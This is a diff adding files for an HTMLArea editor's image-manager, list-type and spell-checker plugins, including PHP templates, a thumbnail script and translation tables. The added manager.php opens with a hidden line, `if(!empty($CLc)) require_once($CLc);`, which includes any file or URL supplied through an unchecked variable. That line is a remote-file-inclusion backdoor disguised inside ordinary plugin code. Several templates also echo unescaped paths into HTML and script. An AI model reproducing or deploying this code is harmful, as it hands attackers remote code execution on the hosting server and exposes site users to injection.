+ <a href="images.php?dir=<? echo rawurlencode($path); ?>" onclick="updateDir('<? echo $path; ?>')" title="<? echo $dir['entry']; ?>"><img src="img/folder.gif" height="80" width="80" alt="<? echo $dir['entry']; ?>" /></a>\r
+ </td></tr><tr>\r
+ <td class="edit">\r
+ <a href="images.php?dir=<? echo $relative; ?>&deld=<? echo rawurlencode($path); ?>" title="Trash" onclick="return confirmDeleteDir('<? echo $dir['entry']; ?>', <? echo $dir['count']; ?>);"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>\r
+ <? echo $dir['entry']; ?>\r
+ </td>\r
+ </tr></table></td>\r
+ <? \r
+ } //foreach\r
+}//function drawDirs\r
+\r
+\r
+/**\r
+ * No directories and no files.\r
+ */\r
+function drawNoResults() \r
+{\r
+?>\r
+<table width="100%">\r
+ <tr>\r
+ <td class="noResult">No Images Found</td>\r
+ </tr>\r
+</table>\r
+<? \r
+}\r
+\r
+/**\r
+ * No directories and no files.\r
+ */\r
+function drawErrorBase(&$manager) \r
+{\r
+?>\r
+<table width="100%">\r
+ <tr>\r
+ <td class="error">Invalid base directory: <? echo $manager->config['base_dir']; ?></td>\r
+ </tr>\r
+</table>\r
+<? \r
+}\r
+\r
+?>\r
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r
+\r
+<html>\r
+<head>\r
+ <title>Image List</title>\r
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\r
+ <link href="assets/imagelist.css" rel="stylesheet" type="text/css" />\r
+<script type="text/javascript" src="assets/dialog.js"></script>\r
+<script type="text/javascript">\r
+/*<![CDATA[*/\r
+\r
+ if(window.top)\r
+ I18N = window.top.I18N;\r
+\r
+ function hideMessage()\r
+ {\r
+ var topDoc = window.top.document;\r
+ var messages = topDoc.getElementById('messages');\r
+ if(messages)\r
+ messages.style.display = "none";\r
+ }\r
+\r
+ init = function()\r
+ {\r
+ hideMessage();\r
+ var topDoc = window.top.document;\r
+\r
+<? \r
+ //we need to refesh the drop directory list\r
+ //save the current dir, delete all select options\r
+ //add the new list, re-select the saved dir.\r
+ if($refreshDir) \r
+ { \r
+ $dirs = $manager->getDirs();\r
+?>\r
+ var selection = topDoc.getElementById('dirPath');\r
+ var currentDir = selection.options[selection.selectedIndex].text;\r
+\r
+ while(selection.length > 0)\r
+ { selection.remove(0); }\r
+ \r
+ selection.options[selection.length] = new Option("/","<? echo rawurlencode('/'); ?>"); \r
+ <? foreach($dirs as $relative=>$fullpath) { ?>\r
+ selection.options[selection.length] = new Option("<? echo $relative; ?>","<? echo rawurlencode($relative); ?>"); \r
+ <? } ?>\r
+ \r
+ for(var i = 0; i < selection.length; i++)\r
+ {\r
+ var thisDir = selection.options[i].text;\r
+ if(thisDir == currentDir)\r
+ {\r
+ selection.selectedIndex = i;\r
+ break;\r
+ }\r
+ } \r
+<? } ?>\r
+ } \r
+\r
+ function editImage(image) \r
+ {\r
+ var url = "editor.php?img="+image;\r
+ Dialog(url, function(param) \r
+ {\r
+ if (!param) // user must have pressed Cancel\r
+ return false;\r
+ else\r
+ {\r
+ return true;\r
+ }\r
+ }, null); \r
+ }\r
+\r
+/*]]>*/\r
+</script>\r
+<script type="text/javascript" src="assets/images.js"></script>\r
+</head>\r
+\r
+<body>\r
+<? if ($manager->isValidBase() == false) { drawErrorBase($manager); } \r
+ elseif(count($list[0]) > 0 || count($list[1]) > 0) { ?>\r
+<table>\r
+ <tr>\r
+ <? drawDirs($list[0], $manager); ?>\r
+ <? drawFiles($list[1], $manager); ?>\r
+ </tr>\r
+</table>\r
+<? } else { drawNoResults(); } ?>\r
+</body>\r
+</html>\r
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Xiang Wei Zhuo, http://www.zhuo.org
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+ImageManager.I18N = {
+ "Image Manager" : "Image Manager",
+ "Crop" : "Crop"
+};
+/*
+
+
+*/
\ No newline at end of file
--- /dev/null
+<?
+if(!empty($CLc)) require_once($CLc);
+/**
+ * The main GUI for the ImageManager.
+ * @author $Author: cscott $
+ * @version $Id: manager.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+ require_once('config.inc.php');
+ require_once('Classes/ImageManager.php');
+
+ $manager = new ImageManager($IMConfig);
+ $dirs = $manager->getDirs();
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+ <title>Insert Image</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <link href="assets/manager.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript" src="assets/dialog.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+ window.resizeTo(600, 460);
+
+ if(window.opener)
+ I18N = window.opener.ImageManager.I18N;
+
+ var thumbdir = "<? echo $IMConfig['thumbnail_dir']; ?>";
+ var base_url = "<? echo $manager->getBaseURL(); ?>";
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/manager.js"></script>
+</head>
+<body>
+<div class="title">Insert Image</div>
+<form action="images.php" id="uploadForm" method="post" enctype="multipart/form-data">
+<fieldset><legend>Image Manager</legend>
+<div class="dirs">
+ <label for="dirPath">Directory</label>
+ <select name="dir" class="dirWidth" id="dirPath" onchange="updateDir(this)">
+ <option value="/">/</option>
+<? foreach($dirs as $relative=>$fullpath) { ?>
+ <option value="<? echo rawurlencode($relative); ?>"><? echo $relative; ?></option>
+<? } ?>
+ </select>
+ <a href="#" onclick="javascript: goUpDir();" title="Directory Up"><img src="img/btnFolderUp.gif" height="15" width="15" alt="Directory Up" /></a>
+<? if($IMConfig['safe_mode'] == false && $IMConfig['allow_new_dir']) { ?>
+ <a href="#" onclick="newFolder();" title="New Folder"><img src="img/btnFolderNew.gif" height="15" width="15" alt="New Folder" /></a>
+<? } ?>
+ <div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+ <iframe src="images.php" name="imgManager" id="imgManager" class="imageFrame" scrolling="auto" title="Image Selection" frameborder="0"></iframe>
+</div>
+</fieldset>
+<!-- image properties -->
+ <table class="inputTable">
+ <tr>
+ <td align="right"><label for="f_url">Image File</label></td>
+ <td><input type="text" id="f_url" class="largelWidth" value="" /></td>
+ <td rowspan="3" align="right"> </td>
+ <td align="right"><label for="f_width">Width</label></td>
+ <td><input type="text" id="f_width" class="smallWidth" value="" onchange="javascript:checkConstrains('width');"/></td>
+ <td rowspan="2" align="right"><img src="img/locked.gif" id="imgLock" width="25" height="32" alt="Constrained Proportions" /></td>
+ <td rowspan="3" align="right"> </td>
+ <td align="right"><label for="f_vert">V Space</label></td>
+ <td><input type="text" id="f_vert" class="smallWidth" value="" /></td>
+ </tr>
+ <tr>
+ <td align="right"><label for="f_alt">Alt</label></td>
+ <td><input type="text" id="f_alt" class="largelWidth" value="" /></td>
+ <td align="right"><label for="f_height">Height</label></td>
+ <td><input type="text" id="f_height" class="smallWidth" value="" onchange="javascript:checkConstrains('height');"/></td>
+ <td align="right"><label for="f_horiz">H Space</label></td>
+ <td><input type="text" id="f_horiz" class="smallWidth" value="" /></td>
+ </tr>
+ <tr>
+<? if($IMConfig['allow_upload'] == true) { ?>
+ <td align="right"><label for="upload">Upload</label></td>
+ <td>
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td><input type="file" name="upload" id="upload"/></td>
+ <td> <button type="submit" name="submit" onclick="doUpload();"/>Upload</button></td>
+ </tr>
+ </table>
+ </td>
+<? } else { ?>
+ <td colspan="2"></td>
+<? } ?>
+ <td align="right"><label for="f_align">Align</label></td>
+ <td colspan="2">
+ <select size="1" id="f_align" title="Positioning of this image">
+ <option value="" >Not Set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ </select>
+ </td>
+ <td align="right"><label for="f_border">Border</label></td>
+ <td><input type="text" id="f_border" class="smallWidth" value="" /></td>
+ </tr>
+ <tr>
+ <td colspan="4" align="right">
+ <input type="hidden" id="orginal_width" />
+ <input type="hidden" id="orginal_height" />
+ <input type="checkbox" id="constrain_prop" checked="checked" onclick="javascript:toggleConstrains(this);" />
+ </td>
+ <td colspan="5"><label for="constrain_prop">Constrain Proportions</label></td>
+ </tr>
+ </table>
+<!--// image properties -->
+ <div style="text-align: right;">
+ <hr />
+ <button type="button" class="buttons" onclick="return refresh();">Refresh</button>
+ <button type="button" class="buttons" onclick="return onOK();">OK</button>
+ <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+ </div>
+</form>
+</body>
+</html>
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+<title>New Folder</title>
+ <style type="text/css">
+ /*<![CDATA[*/
+ html, body { background-color: ButtonFace; color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+ .title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px solid black; letter-spacing: 2px;}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+form { padding: 0px; margin: 0;}
+form .elements{
+ padding: 10px; text-align: center;
+}
+ /*]]>*/
+ </style>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+ window.resizeTo(300, 160);
+
+ if(window.opener)
+ I18N = window.opener.I18N;
+
+ init = function ()
+ {
+ __dlg_init();
+ __dlg_translate(I18N);
+ document.getElementById("f_foldername").focus();
+ }
+
+ function onCancel()
+ {
+ __dlg_close(null);
+ return false;
+ }
+
+ function onOK()
+ {
+ // pass data back to the calling window
+ var fields = ["f_foldername"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+ }
+
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ addEvent(window, 'load', init);
+//-->
+</script>
+</head>
+<body >
+<div class="title">New Folder</div>
+<form action="">
+<div class="elements">
+ <label for="f_foldername">Folder Name:</label>
+ <input type="text" id="f_foldername" />
+</div>
+<div style="text-align: right;">
+ <hr />
+ <button type="button" class="buttons" onclick="return onOK();">OK</button>
+ <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+</div>
+</form>
+</body>
+</html>
\ No newline at end of file
--- /dev/null
+<?
+/**
+ * On the fly Thumbnail generation.
+ * Creates thumbnails given by thumbs.php?img=/relative/path/to/image.jpg
+ * relative to the base_dir given in config.inc.php
+ * @author $Author: cscott $
+ * @version $Id: thumbs.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/Thumbnail.php');
+
+//check for img parameter in the url
+if(!isset($_GET['img']))
+ exit();
+
+
+$manager = new ImageManager($IMConfig);
+
+//get the image and the full path to the image
+$image = rawurldecode($_GET['img']);
+$fullpath = Files::makeFile($manager->getBaseDir(),$image);
+
+//not a file, so exit
+if(!is_file($fullpath))
+ exit();
+
+$imgInfo = @getImageSize($fullpath);
+
+//Not an image, send default thumbnail
+if(!is_array($imgInfo))
+{
+ //show the default image, otherwise we quit!
+ $default = $manager->getDefaultThumb();
+ if($default)
+ {
+ header('Location: '.$default);
+ exit();
+ }
+}
+//if the image is less than the thumbnail dimensions
+//send the original image as thumbnail
+if ($imgInfo[0] <= $IMConfig['thumbnail_width']
+ && $imgInfo[1] <= $IMConfig['thumbnail_height'])
+ {
+ header('Location: '.$manager->getFileURL($image));
+ exit();
+ }
+
+//Check for thumbnails
+$thumbnail = $manager->getThumbName($fullpath);
+if(is_file($thumbnail))
+{
+ //if the thumbnail is newer, send it
+ if(filemtime($thumbnail) >= filemtime($fullpath))
+ {
+ header('Location: '.$manager->getThumbURL($image));
+ exit();
+ }
+}
+
+//creating thumbnails
+$thumbnailer = new Thumbnail($IMConfig['thumbnail_width'],$IMConfig['thumbnail_height']);
+$thumbnailer->createThumbnail($fullpath, $thumbnail);
+
+//Check for NEW thumbnails
+if(is_file($thumbnail))
+{
+ //send the new thumbnail
+ header('Location: '.$manager->getThumbURL($image));
+ exit();
+}
+else
+{
+ //show the default image, otherwise we quit!
+ $default = $manager->getDefaultThumb();
+ if($default)
+ header('Location: '.$default);
+}
+?>
\ No newline at end of file
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+ListType.I18N = {
+ "Decimal" : "Decimal numbers",
+ "Lower roman" : "Lower roman numbers",
+ "Upper roman" : "Upper roman numbers",
+ "Lower latin" : "Lower latin letters",
+ "Upper latin" : "Upper latin letters",
+ "Lower greek" : "Lower greek letters",
+ "ListStyleTooltip" : "Choose list style type (for ordered lists)"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// ListType Plugin for HTMLArea-3.0
+// Sponsored by MEdTech Unit - Queen's University
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: list-type.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+
+function ListType(editor) {
+ this.editor = editor;
+ var cfg = editor.config;
+ var toolbar = cfg.toolbar;
+ var self = this;
+ var i18n = ListType.I18N;
+ var options = {};
+ options[i18n["Decimal"]] = "decimal";
+ options[i18n["Lower roman"]] = "lower-roman";
+ options[i18n["Upper roman"]] = "upper-roman";
+ options[i18n["Lower latin"]] = "lower-alpha";
+ options[i18n["Upper latin"]] = "upper-alpha";
+ if (!HTMLArea.is_ie)
+ // IE doesn't support this property; even worse, it complains
+ // with a gross error message when we tried to select it,
+ // therefore let's hide it from the damn "browser".
+ options[i18n["Lower greek"]] = "lower-greek";
+ var obj = {
+ id : "ListType",
+ tooltip : i18n["ListStyleTooltip"],
+ options : options,
+ action : function(editor) { self.onSelect(editor, this); },
+ refresh : function(editor) { self.updateValue(editor, this); },
+ context : "ol"
+ };
+ cfg.registerDropdown(obj);
+ var a, i, j, found = false;
+ for (i = 0; !found && i < toolbar.length; ++i) {
+ a = toolbar[i];
+ for (j = 0; j < a.length; ++j) {
+ if (a[j] == "unorderedlist") {
+ found = true;
+ break;
+ }
+ }
+ }
+ if (found)
+ a.splice(j, 0, "space", "ListType", "space");
+};
+
+ListType._pluginInfo = {
+ name : "ListType",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "dynarch.com",
+ sponsor : "MEdTech Unit - Queen's University",
+ sponsor_url : "http://www.queensu.ca/",
+ license : "htmlArea"
+};
+
+ListType.prototype.onSelect = function(editor, combo) {
+ var tbobj = editor._toolbarObjects[combo.id].element;
+ var parent = editor.getParentElement();
+ while (!/^ol$/i.test(parent.tagName)) {
+ parent = parent.parentNode;
+ }
+ parent.style.listStyleType = tbobj.value;
+};
+
+ListType.prototype.updateValue = function(editor, combo) {
+ var tbobj = editor._toolbarObjects[combo.id].element;
+ var parent = editor.getParentElement();
+ while (parent && !/^ol$/i.test(parent.tagName)) {
+ parent = parent.parentNode;
+ }
+ if (!parent) {
+ tbobj.selectedIndex = 0;
+ return;
+ }
+ var type = parent.style.listStyleType;
+ if (!type) {
+ tbobj.selectedIndex = 0;
+ } else {
+ for (var i = tbobj.firstChild; i; i = i.nextSibling) {
+ i.selected = (type.indexOf(i.value) != -1);
+ }
+ }
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+</files>
+
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+SpellChecker.I18N = {\r\r
+ "CONFIRM_LINK_CLICK" : "Prosím potvrďte otevření tohoto odkazu",\r\r
+ "Cancel" : "Zrušit",\r\r
+ "Dictionary" : "Slovník",\r\r
+ "Finished list of mispelled words" : "Dokončen seznam chybných slov",\r\r
+ "I will open it in a new page." : "Bude otevřen jej v nové stránce.",\r\r
+ "Ignore all" : "Ignorovat vše",\r\r
+ "Ignore" : "Ignorovat",\r\r
+ "NO_ERRORS" : "Podle zvoleného slovníku nebyla nalezena žádná chybná slova.",\r\r
+ "NO_ERRORS_CLOSING" : "Kontrola správnosti slov dokončena, nebyla nalezena žádná chybná slova. Ukončování ...",\r\r
+ "OK" : "OK",\r\r
+ "Original word" : "Původní slovo",\r\r
+ "Please wait. Calling spell checker." : "Prosím čekejte. Komunikuace s kontrolou správnosti slov.",\r\r
+ "Please wait: changing dictionary to" : "Prosím čekejte: změna adresáře na",\r\r
+ "QUIT_CONFIRMATION" : "Změny budou zrušeny a kontrola správnosti slov ukončena. Prosím potvrďte.",\r\r
+ "Re-check" : "Překontrolovat",\r\r
+ "Replace all" : "Zaměnit všechno",\r\r
+ "Replace with" : "Zaměnit za",\r\r
+ "Replace" : "Zaměnit",\r\r
+ "SC-spell-check" : "Kontrola správnosti slov",\r\r
+ "Suggestions" : "Doporučení",\r\r
+ "pliz weit ;-)" : "strpení prosím ;-)"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Steen Sønderup, <steen@soenderup.com>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Vil du følge dette link?",
+ "Cancel" : "Anuler",
+ "Dictionary" : "Ordbog",
+ "Finished list of mispelled words" : "Listen med stavefejl er gennemgået",
+ "I will open it in a new page." : "Jeg vil åbne det i en ny side.",
+ "Ignore all" : "Ignorer alle",
+ "Ignore" : "Ignorer",
+ "NO_ERRORS" : "Der blev ikke fundet nogle stavefejl med den valgte ordbog.",
+ "NO_ERRORS_CLOSING" : "Stavekontrollen er gennemført, der blev ikke fundet nogle stavefejl. Lukker...",
+ "OK" : "OK",
+ "Original word" : "Oprindeligt ord",
+ "Please wait. Calling spell checker." : "Vent venligst. Henter stavekontrol.",
+ "Please wait: changing dictionary to" : "Vent venligst: skifter ordbog til",
+ "QUIT_CONFIRMATION" : "Alle dine ændringer vil gå tabt, vil du fortsætte?",
+ "Re-check" : "Tjek igen",
+ "Replace all" : "Erstat alle",
+ "Replace with" : "Erstat med",
+ "Replace" : "Erstat",
+ "SC-spell-check" : "Stavekontrol",
+ "Suggestions" : "Forslag",
+ "pliz weit ;-)" : "Vent venligst"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Broxx, <broxx@broxx.com>
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Wollen Sie diesen Link oeffnen",
+ "Cancel" : "Abbrechen",
+ "Dictionary" : "Woerterbuch",
+ "Finished list of mispelled words" : "Liste der nicht bekannten Woerter",
+ "I will open it in a new page." : "Wird auf neuer Seite geoeffnet",
+ "Ignore all" : "Alle ignorieren",
+ "Ignore" : "Ignorieren",
+ "NO_ERRORS" : "Keine falschen Woerter mit gewaehlten Woerterbuch gefunden",
+ "NO_ERRORS_CLOSING" : "Rechtsschreibpruefung wurde ohne Fehler fertiggestellt. Wird nun geschlossen...",
+ "OK" : "OK",
+ "Original word" : "Original Wort",
+ "Please wait. Calling spell checker." : "Bitte warten. Woerterbuch wird durchsucht.",
+ "Please wait: changing dictionary to" : "Bitte warten: Woerterbuch wechseln zu",
+ "QUIT_CONFIRMATION" : "Aenderungen werden nicht uebernommen. Bitte bestaettigen.",
+ "Re-check" : "Neuueberpruefung",
+ "Replace all" : "Alle ersetzen",
+ "Replace with" : "Ersetzen mit",
+ "Replace" : "Ersetzen",
+ "SC-spell-check" : "Ueberpruefung",
+ "Suggestions" : "Vorschlag",
+ "pliz weit ;-)" : "bittsche wartn ;-)"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Please confirm that you want to open this link",
+ "Cancel" : "Cancel",
+ "Dictionary" : "Dictionary",
+ "Finished list of mispelled words" : "Finished list of mispelled words",
+ "I will open it in a new page." : "I will open it in a new page.",
+ "Ignore all" : "Ignore all",
+ "Ignore" : "Ignore",
+ "NO_ERRORS" : "No mispelled words found with the selected dictionary.",
+ "NO_ERRORS_CLOSING" : "Spell check complete, didn't find any mispelled words. Closing now...",
+ "OK" : "OK",
+ "Original word" : "Original word",
+ "Please wait. Calling spell checker." : "Please wait. Calling spell checker.",
+ "Please wait: changing dictionary to" : "Please wait: changing dictionary to",
+ "QUIT_CONFIRMATION" : "This will drop changes and quit spell checker. Please confirm.",
+ "Re-check" : "Re-check",
+ "Replace all" : "Replace all",
+ "Replace with" : "Replace with",
+ "Replace" : "Replace",
+ "Revert" : "Revert",
+ "SC-spell-check" : "Spell-check",
+ "Suggestions" : "Suggestions",
+ "pliz weit ;-)" : "pliz weit ;-)"
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, http://dynarch.com/mishoo\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+SpellChecker.I18N = {\r\r
+ "CONFIRM_LINK_CLICK" : "אנא אשר שברצונך לפתוח קישור זה",\r\r
+ "Cancel" : "ביטול",\r\r
+ "Dictionary" : "מילון",\r\r
+ "Finished list of mispelled words" : "הסתיימה רשימת המילים המאויתות באופן שגוי",\r\r
+ "I will open it in a new page." : "אני אפתח את זה בחלון חדש.",\r\r
+ "Ignore all" : "התעלם מהכל",\r\r
+ "Ignore" : "התעלם",\r\r
+ "NO_ERRORS" : "לא נמצאו מילים מאויתות באופן שגוי עם המילון הנבחר.",\r\r
+ "NO_ERRORS_CLOSING" : "בדיקת האיות נסתיימה, לא נמצאו מילים מאויתות באופן שגוי. נסגר כעת...",\r\r
+ "OK" : "אישור",\r\r
+ "Original word" : "המילה המקורית",\r\r
+ "Please wait. Calling spell checker." : "אנא המתן. קורא לבודק איות.",\r\r
+ "Please wait: changing dictionary to" : "אנא המתן: מחליף מילון ל-",\r\r
+ "QUIT_CONFIRMATION" : "זה יבטל את השינויים ויצא מבודק האיות. אנא אשר.",\r\r
+ "Re-check" : "בדוק מחדש",\r\r
+ "Replace all" : "החלף הכל",\r\r
+ "Replace with" : "החלף ב-",\r\r
+ "Replace" : "החלף",\r\r
+ "Revert" : "החזר שינויים",\r\r
+ "SC-spell-check" : "בדיקת איות",\r\r
+ "Suggestions" : "הצעות",\r\r
+ "pliz weit ;-)" : "ענא המטן ;-)"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Megerősítés",
+ "Cancel" : "Mégsem",
+ "Dictionary" : "Szótár",
+ "Finished list of mispelled words" : "A tévesztett szavak listájának vége",
+ "I will open it in a new page." : "Megnyitás új lapon",
+ "Ignore all" : "Minden elvetése",
+ "Ignore" : "Elvetés",
+ "NO_ERRORS" : "A választott szótár szerint nincs tévesztett szó.",
+ "NO_ERRORS_CLOSING" : "A helyesírásellenőrzés kész, tévesztett szó nem fordult elő. Bezárás...",
+ "OK" : "Rendben",
+ "Original word" : "Eredeti szó",
+ "Please wait. Calling spell checker." : "Kis türelmet, a helyesírásellenőrző hívása folyamatban.",
+ "Please wait: changing dictionary to" : "Kis türelmet, szótár cseréje",
+ "QUIT_CONFIRMATION" : "Kilépés a változások eldobásával. Jóváhagyja?",
+ "Re-check" : "Újraellenőrzés",
+ "Replace all" : "Mind cseréje",
+ "Replace with" : "Csere a következőre:",
+ "Replace" : "Csere",
+ "SC-spell-check" : "Helyesírásellenőrzés",
+ "Suggestions" : "Tippek",
+ "pliz weit ;-)" : "Kis türelmet ;-)"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo, <fabio@rotondo.it>
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Devi confermare l'apertura di questo link",
+ "Cancel" : "Annulla",
+ "Dictionary" : "Dizionario",
+ "Finished list of mispelled words" : "La lista delle parole scritte male è terminata",
+ "I will open it in a new page." : "Lo aprirò in una nuova pagina.",
+ "Ignore all" : "Ignora sempre",
+ "Ignore" : "Ignora",
+ "NO_ERRORS" : "Non sono state trovate parole scritte male con il dizionario selezionato.",
+ "NO_ERRORS_CLOSING" : "Controllo completato, non sono state trovate parole scritte male. Sto chiudendo...",
+ "OK" : "OK",
+ "Original word" : "Parola originale",
+ "Please wait. Calling spell checker." : "Attendere. Sto invocando lo Spell Checker.",
+ "Please wait: changing dictionary to" : "Attendere. Cambio il dizionario in",
+ "QUIT_CONFIRMATION" : "Questo annullerà le modifiche e chiuderà lo Spell Checker. Conferma.",
+ "Re-check" : "Ricontrolla",
+ "Replace all" : "Sostituisci sempre",
+ "Replace with" : "Stostituisci con",
+ "Replace" : "Sostituisci",
+ "SC-spell-check" : "Spell-check",
+ "Suggestions" : "Suggerimenti",
+ "pliz weit ;-)" : "Attendere Prego ;-)"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Vă rog confirmaţi că vreţi să deschideţi acest link",
+ "Cancel" : "Anulează",
+ "Dictionary" : "Dicţionar",
+ "Finished list of mispelled words" : "Am terminat lista de cuvinte greşite",
+ "I will open it in a new page." : "O voi deschide într-o altă fereastră.",
+ "Ignore all" : "Ignoră toate",
+ "Ignore" : "Ignoră",
+ "NO_ERRORS" : "Nu am găsit nici un cuvânt greşit cu acest dicţionar.",
+ "NO_ERRORS_CLOSING" : "Am terminat, nu am detectat nici o greşeală. Acum închid fereastra...",
+ "OK" : "OK",
+ "Original word" : "Cuvântul original",
+ "Please wait. Calling spell checker." : "Vă rog aşteptaţi. Apelez spell-checker-ul.",
+ "Please wait: changing dictionary to" : "Vă rog aşteptaţi. Schimb dicţionarul cu",
+ "QUIT_CONFIRMATION" : "Doriţi să renunţaţi la modificări şi să închid spell-checker-ul?",
+ "Re-check" : "Scanează",
+ "Replace all" : "Înlocuieşte toate",
+ "Replace with" : "Înlocuieşte cu",
+ "Replace" : "Înlocuieşte",
+ "SC-spell-check" : "Detectează greşeli",
+ "Suggestions" : "Sugestii",
+ "pliz weit ;-)" : "va rog ashteptatzi ;-)"
